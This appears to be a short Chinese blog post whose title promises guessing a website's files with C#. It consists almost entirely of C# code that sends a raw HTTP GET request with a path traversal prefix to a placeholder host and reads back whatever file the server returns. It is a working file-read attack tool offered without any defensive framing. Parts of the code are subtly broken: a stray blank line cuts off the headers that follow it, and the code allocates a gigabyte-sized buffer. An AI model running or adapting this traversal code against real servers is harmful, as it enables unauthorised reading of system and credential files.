c#使用程序猜解网站文件

     public static string PostData(string file)
        {
            string strHTML = "";//用来保存获得的HTML代码

            string sendString;
            sendString = "GET //../../../../../../../.." + file + " HTTP/1.1\r\n";
            sendString += "Cookie: SESSIONID=1531169f08777da4\r\n\r\n";
            sendString += "Host: aaa.com\r\n";
            sendString += "Connection: Keep-alive\r\n";
            sendString += "Accept-Encoding: gzip,deflate\r\n";
            sendString += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36\r\n";
            sendString += "Accept: */*\r\n";

            //sendString = string.Format(sendString, file);
            Byte[] ByteGet = Encoding.GetEncoding("utf-8").GetBytes(sendString);
            IPAddress hostadd = Dns.GetHostEntry("aaa.com").AddressList[0];
            IPEndPoint EPhost = new IPEndPoint(hostadd, 80);
            Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            s.Connect(EPhost);
            if (!s.Connected)
            {
                strHTML = "链接主机失败";
            }
            s.Send(ByteGet, ByteGet.Length, SocketFlags.None);
            strHTML = Recv(s, Encoding.GetEncoding("utf-8"));
            return strHTML;
        }

        public static String Recv(Socket sock, Encoding encode)
        {
            Byte[] buffer = new Byte[1024000000];
            StringBuilder sb = new StringBuilder();

            Thread.Sleep(2500);//根据页面响应时间进行微调        
            Int32 len = sock.Receive(buffer);
            Console.WriteLine("socket.Available:" + sock.Available);
            sb.Append(encode.GetString(buffer, 0, len));

            while (sock.Available > 0)
            {
                Thread.Sleep(1000);//也可以视情况微调           
                Array.Clear(buffer, 0, buffer.Length);
                len = sock.Receive(buffer);
                Console.WriteLine("socket.Available:" + sock.Available);
                Console.WriteLine("接收:" + len + " B");
                sb.Append(encode.GetString(buffer, 0, len));
                string ss = encode.GetString(buffer, 0, len);
            }
            sock.Close();
            return sb.ToString();
        }

 

上一篇:【Linux下安装配置Jupyter】


下一篇:Windows编程(网络编程)